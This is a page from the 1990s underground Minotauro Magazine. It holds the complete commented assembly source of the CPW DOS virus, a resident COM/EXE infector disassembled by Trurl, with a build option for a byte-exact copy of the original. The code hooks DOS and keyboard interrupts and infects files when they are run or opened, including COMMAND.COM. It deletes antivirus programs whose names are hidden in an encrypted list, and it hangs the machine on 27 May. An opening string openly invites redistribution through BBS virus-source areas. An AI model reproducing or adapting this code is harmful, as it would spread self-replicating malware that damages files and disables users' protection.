Copy Link
Add to Bookmark
Report
Minotauro Magazine Issue 05 08 CPW.ASM
; Virus: CPW
; Tipo: Infector de COM/EXE parasitico, residente, fast infector.
; Size: 1459, en memoria, 2000
; Origen: Chile
; Desensamblado por Trurl para Minotauro Magazine #5 (con colaboracion de
; El Cancerbero)
cpw segment para public
assume cs:cpw, ds:cpw, es:cpw, ss:cpw
B2BM equ 1
; NOTA: Para un match byte-a-byte del virus original, este B2BM tiene que
; estar en 1. Si quieren sencillamente compilar, ponganlo a 0. (Va a ocupar
; menos, al menos con TASM 3.1, aunque funciona IGUAL).
evsize equ vfin-vstart
evSIP equ (evsize+15) SHR 4 ; SIP = size in paras
org 100h
start:
jmp vstart
nop
db "Esto es para los que van a recortar esto y meterlo en el area "
db "Virus Sources de sus BBSs: HAGAN LO QUE QUIERAN CON EL VIRUS, "
db "PERO LEAN MINOTAURO MAGAZINE"
db "Trurl, Digital Anarchy"
vstart:
JMP begin
string1 db "Este programa fue hecho en Chile en 1992 por CPW. "
string2 db "C:\COMMAND.COM", 0 ; Para infectar el Command COM.
string3 db "Feliz cumplea¤os CPW!$" ; Se imprime el 27/Mayo..
fhandle dw 0 ; File handle del file a infectar
oldint21 dd 0 ; handler original de int 21
oldint16 dd 0 ; handler original de int 16
oldint24 dd 0 ; handler original de int 24
ftype db 1 ; 1=COM, 0=EXE... tipo de file DESDE DONDE se instala
readbufexe db 18h DUP(0) ; 1ra copia del header EXE
readbufexe2 db 18h dup(0) ; 2da copia del header EXE
orbytes db 0cdh, 20h, 090h ; 3 bytes originales del COM
vsize dw evsize ; Size del virus en bytes
vSIP dw evSIP ; Size del virus en paras
branchoff dw 100h ; se usa para el salto al hoste (en COM)
branchadd dd 0 ; se usa para el salto al hoste (en EXE)
nameptr dd 0; para guardar el ptr del nombre del file a infectar
oldfattr dw 0; old file attributes
readbuf db 90h,90h,90h ; read buffer (para autoreconocimiento)
db 0 ; se le escapo un byte :-)
jmpfix db 0e9h, 0, 0; para fixear JMP en infeccion de COM
string4 db " You are here CPW!" ; Ver rutina de INT 16
index dw 0
newint24: iret
fdate dw 0 ; fecha y tiempo originales del file infectado, se
ftime dw 0 ; usan para restablecerlas despues de la infeccion
antivstr db 0BCh,0B1h,0BCh,0B8h,0AAh,0BEh,0ADh,0BBh,0BAh,0B2h,0ACh
db 0BCh,0AFh,0BEh,0A9h,0ACh,0BCh,0BEh,0B1h,0BCh,0B3h,0BAh
db 0BEh,0B1h,0B9h,0B6h,0B1h,0BBh,0A9h,0B6h,0ADh,0AAh,0BCh
db 0B7h,0B4h,0A9h,0B6h,0ADh,0AAh,0ACh
; esto es:
; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS" + FF BYTE A BYTE
; "CNC GUARDEMS CPAV SCAN CLEAN FINDVIRU CHKVIRUS"
; Se usa para borrar estos antivirus, cuando son ejecutados.
begin:
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH ES
CALL next ; para calcular el delta offset
next:
POP SI
SUB SI,next-vstart
XOR AX,AX ; self residence check
MOV DS,AX ; si el ultimo byte de la tabla de vectores
MOV AL,ds: byte ptr [3FFh]; es FB, el virus esta en memoria.
CMP AL,0FBh
JZ alreadyinstalled
PUSH SI
CALL install ; rutina para instalarse en memoria
POP SI
alreadyinstalled:
IF B2BM
db 2eh
dw 0bc80h, ftype-vstart
db 0
ELSE
CMP BYTE PTR cs:[ftype-vstart+si],0 ; variable de tipo de file
ENDIF
; si es un EXE, continua, si no, va a la rutina de COM
JNZ instlcom
PUSH CS
POP DS
MOV AX,CS ; obtiene el SEGMENTO haciendo CS Actual-CS del header
SUB AX,word ptr [SI+readbufexe2-vstart+16h]
PUSH AX
POP BX
ADD AX,[SI+readbufexe-vstart+16h]; Le suma el CS de header original
MOV [SI+branchadd-vstart+2],AX; y asi obtiene el CS donde saltar
IF B2BM
DW 9C03H, readbufexe-vstart+0eh
DW 9C89H, readbufexe-vstart
DW 848BH, readbufexe-vstart+14h
ELSE
ADD BX, [SI+readbufexe-vstart+0eh]; SS
; AX CS de entrada, BX SS de entrada
MOV [SI+readbufexe-vstart],BX
MOV AX,[SI+readbufexe-vstart+14h]
ENDIF
MOV [SI+branchadd-vstart],AX
POP AX
MOV ES,AX
MOV DS,AX
XOR DI,DI
POP CX
POP BX
POP AX
POPF
CLI
IF B2BM
db 2eh
DW 0A48BH, readbufexe-vstart+10h
db 2eh
DW 948EH, readbufexe-vstart
ELSE
MOV SP,word ptr cs:[SI+readbufexe-vstart+10h]
MOV SS,word ptr cs:[SI+readbufexe-vstart]
ENDIF
STI
JMP dword ptr cs:[SI+branchadd-vstart] ; salto al EXE original
instlcom:
PUSH CS
POP DS
PUSH CS
POP ES
PUSH SI
LEA SI,[orbytes-vstart+si]
MOV DI,100h
MOV CX,3
REPZ MOVSB ; restablece los 3 bytes originales del COM
XOR DI,DI
POP SI
POP ES
POP CX
POP BX
POP AX
POPF
JMP [branchoff-vstart+si]; y salta a CS:100h
appendvir:
; esta rutina sencillamente agrega el virus al final del file
MOV BX,ds:[fhandle-vstart]
XOR CX,CX
XOR DX,DX
MOV AX,4202h
INT 21h
MOV CX,ds:[vsize-vstart] ; ?
IF B2BM
dw 168dh, 0
ELSE
LEA DX,ds:[0]
ENDIF
MOV AH,40h
INT 21h
RET
install:
; NOTA: 7D para = 7D0 bytes = 2000 bytes. Ocupa 2000 bytes en memoria.
MOV AH,49h ; dealocatear el bloque actual
INT 21h
MOV BX,0FFFFh; obtener memoria libre total del sistema
MOV AH,48h
INT 21h
SUB BX,7Dh ; memoria libre < a 7dh para?
JB quitinstall ; si es menor, abortar
MOV CX,ES
STC
ADC CX,BX ; obtener seg. donde copiarse + 1 (por el MCB)
MOV AH,4Ah ; resize el bloque actual a
INT 21h ; toda la memoria-7dh
MOV BX,7Ch
STC
SBB es:[2],BX ; Esto que es? Alguien sabe? Al OWNER le resta?
; Si 7C estuviera en BH, quiza, pero asi?
MOV ES,CX
MOV AH,4Ah ; nuevo bloque 7d->7c
INT 21h
MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR ds:[1],8 ; owner=dos
CLD
PUSH CS
POP DS
SUB DI,DI
MOV CX,05DCh ; virlen+29h?
REPZ MOVSB; copiar el virus al bloque.
CALL hookints ; capturar las interrupciones 21 y 16
XOR AX,AX ; mover FB al ultimo byte de la IVT
MOV ES,AX
MOV BYTE PTR es:[3FFh],0FBh
quitinstall:
RET ; volver
hookints:
PUSH ES
POP DS
MOV AX,3521h
INT 21h
MOV word ptr ds:[oldint21-vstart],BX ; copiar al virus en mem. alta
MOV word ptr ds:[oldint21-vstart+2],ES
XOR AX,AX ; hookear la int 21 acceso directo
MOV ES,AX
CLI
MOV WORD PTR es:[21h*4],newint21-vstart
MOV es:[21h*4+2],DS ; capturar int 21 via acceso directo
STI
MOV AX,3516h
INT 21h
MOV word ptr ds:[oldint16-vstart],BX ; lo mismo con int 16
MOV word ptr ds:[oldint16-vstart+2],ES
XOR AX,AX
MOV ES,AX
CLI
MOV WORD PTR es:[16h*4],newint16-vstart ; lo mismo
MOV es:[16h*4+2],DS
STI
RET
newint21:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH ES
PUSH DS
PUSHF
MOV WORD PTR cs:[vsize-vstart],evsize ; innecesario, pero bueh.
MOV WORD PTR cs:[vSIP-vstart],evSIP
CMP AH,4Bh ; <- infecta al correr files,
JZ intercept
CMP AX,3D00h; <- al abrir files
JZ intercept
CMP AH,43h ; <- y al cambiar atributos.
JZ intercept
JMP quit21 ; si no es nada de esto, ir a la int 21 original.
IF B2BM
NOP; Esto pasa por no poner el /M9 :-). Si compilan con 1 pasada
; "comenten" este NOP, si compilan con /M9 o /M lo que sea, dejenlo asi
; (si quieren un byte match del virus).
ENDIF
disparador:
; Este es uno de los disparadores.
MOV AH,2Ah ; obtener fecha..
INT 21h
CMP DX,51Bh ; es 27/mayo...?
JNZ quit21
MOV DX,string3-vstart
PUSH CS
POP DS
MOV AH,9 ; imprime "Feliz cumplea¤os CPW!"
INT 21h
HLT ; y cuelga la maquina...
quit21:
POPF
POP DS
POP ES
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
JMP cs:dword ptr [oldint21-vstart]
intercept:
CALL dumberror ; estupidizar int 24
PUSH DS
PUSH DX
PUSH CS
POP DS
CMP BYTE PTR ds:[orbytes-vstart],1
JZ nocommandcom
IF B2BM
dw 168dh, string2-vstart
ELSE
LEA DX,ds:[string2-vstart] ; "COMMAND.COM"
ENDIF
CALL infect ; infectar command.com
MOV BYTE PTR ds:[orbytes-vstart],1
nocommandcom:
POP DX
POP DS
CALL checkav; BORRAR los antivirus
JB shit2
CALL infect ; infeccion en si
shit2:
CALL restorerr ; restaurar int 24 posta
JMP disparador ; chequear el disparador del 27/5
infect:; infectar DS:DX (sea lo que sea).
MOV cs:word ptr [nameptr-vstart],DX ; guardar cuidadosamente el
MOV cs:word ptr [nameptr-vstart+2],DS; ptr al nombre del file
MOV CX,50h
MOV AL,'.'
PUSH DS
POP ES
PUSH DX
POP DI
REPNZ
SCASB ; buscar el PUNTO...
JNZ notfound
; esta diferenciacion por la extension COM o EXE es medio
; innecesaria ya que despues se fija en la marca MZ
CMP WORD PTR es:[DI],4F43h; "CO"
JNZ notcomext
ADD DI,2
CMP BYTE PTR es:[DI],4Dh; "M"
JZ iscomext
notcomext:
CMP WORD PTR es:[DI],5845h; "EX"
JNZ notfound
ADD DI,2
CMP BYTE PTR es:[DI],45h; "E"
JZ isexeext
notfound:
RET
iscomext: ; infeccion para files COM
CALL fixattr; modificar atributos del filen (para poder infectar)
JB abortinfcom
CALL openfile ; abrir el file
PUSH CS
POP DS
CALL getlen; chequear infeccion previa
JZ shit4
CALL checkspace ; chequear que haya espacio en disco
JB shit4
CALL getftimedate ; get file time and date del file
XOR CX,CX
XOR DX,DX
MOV AX,4200h ; move ptr to file begining
INT 21h
MOV BX,cs:[fhandle-vstart]
MOV CX,3
MOV DX,orbytes-vstart ; read 1st 3 bytes
MOV AH,3Fh
INT 21h
CMP WORD PTR ds:[orbytes-vstart],5A4Dh; es MZ EXE?
JZ isexeMZ ; si es exe, ir a rutina de infeccion de EXE
XOR CX,CX
XOR DX,DX
MOV AX,4200h ;move ptr to begin.
INT 21h
MOV CX,3
IF B2BM
dw 168dh, jmpfix-vstart
ELSE
LEA DX,ds:[jmpfix-vstart]
ENDIF
MOV AH,40h ; write JMP al principio del file
INT 21h
MOV BYTE PTR ds:[ftype-vstart],1; ?
CALL appendvir; append virus to file
CALL restoreftd; restore original file time & date
shit4:
CALL closefile; cerrar archivo
CALL restorefattr ; restablecer atributos originales
abortinfcom:
RET
isexeext: ; Rutina de infeccion de EXE
CALL fixattr
JNB fixok ; jejeje Relative Jump is Out of range :-)
JMP abortinfexe ; todos tenemos los mismos problemas, se ve :-)
fixok:
CALL openfile ; abrir el file
PUSH CS
POP DS
CALL getlen ; chequear infeccion previa
JNZ isexeMZ
JMP shit5 ; si esta infectado, no reinfectar
isexeMZ:
CALL checkspace ; chequear espacio en disco.
JNB spaceok
JMP shit5
spaceok:
PUSH CS
POP ES
MOV BX,cs:[fhandle-vstart]
XOR CX,CX
XOR DX,DX
MOV AX,4200h ; move ptr to beg.
INT 21h
MOV CX,18h
IF B2BM
dw 168dh, readbufexe-vstart
ELSE
LEA DX,ds:[readbufexe-vstart]
ENDIF
MOV AH,3Fh ; leer 18h bytes (el header)
INT 21h
CMP WORD PTR ds:[readbufexe-vstart],5A4Dh
JNZ shit5
; infecta EXE de extension .COM, pero no COM de extension .EXE
CALL getftimedate
MOV CX,18h
IF B2BM
dw 368dh, readbufexe-vstart
dw 3e8dh, readbufexe2-vstart
ELSE
LEA SI,ds:[readbufexe-vstart]
LEA DI,ds:[readbufexe2-vstart]
ENDIF
REPZ ; hacer una 2da copia del header
MOVSB
XOR CX,CX
XOR DX,DX
MOV AX,4202h
INT 21h
PUSH DX
PUSH AX ; DX.AX file size
MOV CX,10h ; ver si el file termina en paragrafo
DIV CX
SUB AX,ds:[readbufexe2-vstart+8]
MOV ds:[readbufexe2-vstart+16h],AX ; New CS = FSize/10h-Header Size
ADD DX,begin-vstart ; como vemos, el virus no recibe el control en
; un offset fijo en EXE
MOV ds:[readbufexe2-vstart+14h],DX; vstarting IP
ADD AX,ds:[vSIP-vstart]
MOV ds:[readbufexe2-vstart+14],AX ; starting SS = cs+VSIP :-)
MOV WORD PTR ds:[readbufexe2-vstart+10h],100h ; starting SP=100
POP AX
POP DX
ADD AX,ds:[vsize-vstart]
ADC DX,0
MOV CX,200h
DIV CX
INC AX
MOV ds:[readbufexe2-vstart+2],DX ; modificar el size en el header
MOV ds:[readbufexe2-vstart+4],AX
MOV BYTE PTR ds:[ftype-vstart],0 ; tipo = EXE
MOV AX,4200h
XOR CX,CX
XOR DX,DX
MOV BX,cs:[fhandle-vstart]
INT 21h
MOV CX,18h
IF B2BM
dw 168dh, readbufexe2-vstart
ELSE
LEA DX,ds:[readbufexe2-vstart]
ENDIF
MOV AH,40h ; escribir el header manipulado
INT 21h
CALL appendvir ; agregar el virus al final
CALL restoreftd ; restaurar file time & date
shit5:
CALL closefile ; cerrar
CALL restorefattr ; atrib. originales
abortinfexe:
RET
openfile:
; esta rutina sencillamente abre el file. como ven, llama a la INT 21
; original para no pisarse la cola.
MOV AX,3D02h
PUSHF
CALL cs:dword ptr [oldint21-vstart]; ????
MOV cs:word ptr [fhandle-vstart],AX
RET
closefile:
; cierra el file (medio obvio no?)
MOV BX,cs:[fhandle-vstart]
MOV AH,3Eh
INT 21h
RET
fixattr:
; guardar los viejos atributos, y setearlos a 0, para poder infectar
; files read only, etc.
MOV AX,4300h
PUSHF
CALL cs:dword ptr [oldint21-vstart]
MOV cs:[oldfattr-vstart],CX ; guardar los atributos originales en
MOV CX,0 ; una variable
MOV AX,4301h
PUSHF
CALL cs:dword ptr [oldint21-vstart]
RET
restorefattr:
; esta rutina restaura los atributos originales del file
CALL retrievename
MOV CX,cs:[oldfattr-vstart]
MOV AX,4301h
PUSHF
CALL dword ptr cs:[oldint21-vstart]
PUSH CS
POP DS
RET
getftimedate:
; consigue y guarda el time & date del file
MOV AX,5700h
MOV BX,cs:[fhandle-vstart]
INT 21h
MOV ds:[fdate-vstart],DX
MOV ds:[ftime-vstart],CX
RET
restoreftd:
; restaura el t&d del file
MOV AX,5701h
MOV BX,cs:[fhandle-vstart]
MOV DX,ds:[fdate-vstart]
MOV CX,ds:[ftime-vstart]
INT 21h
RET
retrievename:
; re-poner el nombre del file en DS:DX
MOV DX,cs:[nameptr-vstart]
MOV DS,cs:[nameptr-vstart+2]
RET
getlen:
; chequear infeccion previa
MOV CX,0FFFFh ; -1
MOV DX,0FFFDh ; -3
MOV BX,ds:[fhandle-vstart] ; get file handle
MOV AX,4202h
INT 21h
MOV ds:[jmpfix-vstart+1],AX
MOV CX,3
MOV DX,readbuf-vstart
MOV AH,3Fh
INT 21h
CMP WORD PTR ds:[readbuf-vstart],534Ch
; comparar con "LS" (de "ULS", la marca al final del virus)
RET
dumberror:
; setear INT 24 (critical error handler, genera el mensaje "disk is
; write protected", etc) a un dumb handler
MOV AX,3524h ; get int 24
INT 21h
MOV cs:word ptr [offset oldint24-offset vstart],BX; 935
MOV cs:word ptr [offset oldint24-offset vstart+2],ES
PUSH DS
PUSH DX
PUSH CS
POP DS
MOV DX,newint24-vstart ; 998
MOV AX,2524h; setint24 to dumb shit
INT 21h
POP DX
POP DS
RET
restorerr:
; restaurar int 24
MOV DX,cs:word ptr [oldint24-vstart] ; OJO ACA!
MOV DS,cs:word ptr [oldint24-vstart+2]
MOV AX,2524h
INT 21h
RET
checkspace:
; rutina para chequear que el espacio libre en el disco sea suficiente
; para agregar esta nueva copia del virus
CLD
CALL retrievename ; put name back in DS:DX
MOV DI,DX
XOR DL,DL
CMP BYTE PTR [DI+1],3Ah; hay ':'? ("C:..", "D:..")
JNZ nodrive ; hay un drive al principio de la string?
MOV DL,[DI]
AND DL,1Fh ; ir de caracter "C" a numero 3 para la llamada
nodrive: ; si no hay drive, se fija en A:? (0)..
MOV AH,36h; get disk free space
INT 21h
PUSH CS
POP DS
CMP AX,0FFFFh; invalid drive?
JZ invalidrive
; ax sector per cluster, bx nro clusters
; cx bytes per sector
MUL BX
MUL CX
OR DX,DX
JNZ okdrive
CMP AX,ds:[vsize-vstart]; ???
JB invalidrive
okdrive:
CLC
RET
invalidrive:
CLC ; CLC+CMC => STC :-) Je!
CMC
RET
checkav:
; esta rutina se fija si el nombre del file es una substring de:
; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". si es asi, borra el file :-)
CALL decrypttxt
CLD
MOV CX,50h
MOV AL,'.'
PUSH DS
POP ES
PUSH DX
POP DI
REPNZ SCASB ; buscar el puntito (hacia adelante)
DEC DI
PUSH DI
POP BX
MOV AL,5Ch ; buscar la "\" barra (hacia atras)
STD
MOV CX,50h
REPNZ SCASB
ADD DI,2
PUSH DI
POP SI
SUB BX,DI
CLD
MOV CX,28h
PUSH CS
POP ES
MOV DI,antivstr-vstart
MOV AL,[SI]
keepscan:
REPNZ
SCASB ; scanear caracter * caracter
JCXZ abortscan
PUSH CX
PUSH SI
PUSH DI
INC SI
MOV CX,BX
DEC CX
REPZ ; es substring o no?
CMPSB
POP DI
POP SI
POP CX
JNZ keepscan ; si no es, seguir hasta que se acabe el nombre
NOT CX
INC CX
ADD CX,28h; se ignoran los primeros 11 caracteres ("CNCGUARDEMS")
CMP CX,0bh; porque, preguntenle a CPW
JB quitscan
MOV AH,41h ; DELETE FILE ... de onda, viste? :-)
INT 21h
quitscan:
CALL decrypttxt
STC
RET
abortscan:
CALL decrypttxt
CLC
RET
decrypttxt:
; esta rutina desencripta el textito de la rutina anterior
MOV CX,28h
MOV SI,antivstr-vstart
decrypt:
MOV AL,0FFh
SUB AL,cs:[SI]
MOV cs:[SI],AL
INC SI
LOOP decrypt
RET
newint16:
PUSHF
CMP AH,0 ; getchar function?
JZ getchar ; yeahp..
POPF
JMP dword ptr cs:[offset oldint16-offset vstart]
getchar:
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSHF
CALL cs:dword ptr [offset oldint16-offset vstart]
PUSH AX
MOV AX,40h
MOV ES,AX
MOV SI,6Ch ; 40:6C = timer del BIOS
MOV AX,es:[SI]
MOV DX,es:[SI+2]
MOV BX,8003h; 32771 tics * 2 = 65422 tics
DIV BX ; 65422 tics / 18.2 tics = 3594.6 segundos
SHR AX,1 ; 3594.6 segundos / 60 segundos = 59.9 minutos = 1 hora
MOV CH,AL ; (NOTA: No es solo calculitos, tambien lo PROBE, y
MOV AX,DX ; efectivamente se dispara a la 1pm y a las 0 hs.)
XOR DX,DX
MOV BX,444h
DIV BX
MOV CL,AL
POP AX
CMP CX,0D00h; Dh = 13. 13 HS.
JZ doit
CMP CX,0 ; 0 hs.
JNZ quit16
doit:
PUSH CS
POP DS
MOV SI,ds:[index-vstart]
MOV AL,byte ptr [string4-vstart+si]
INC WORD PTR ds:[index-vstart]
CMP WORD PTR ds:[index-vstart],12h
JNZ quit16
MOV WORD PTR ds:[index-vstart],0
quit16:
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POPF
IRET
Marca db "ULS", 5 ; marca para impedir la reinfeccion.
vfin:
ends
end start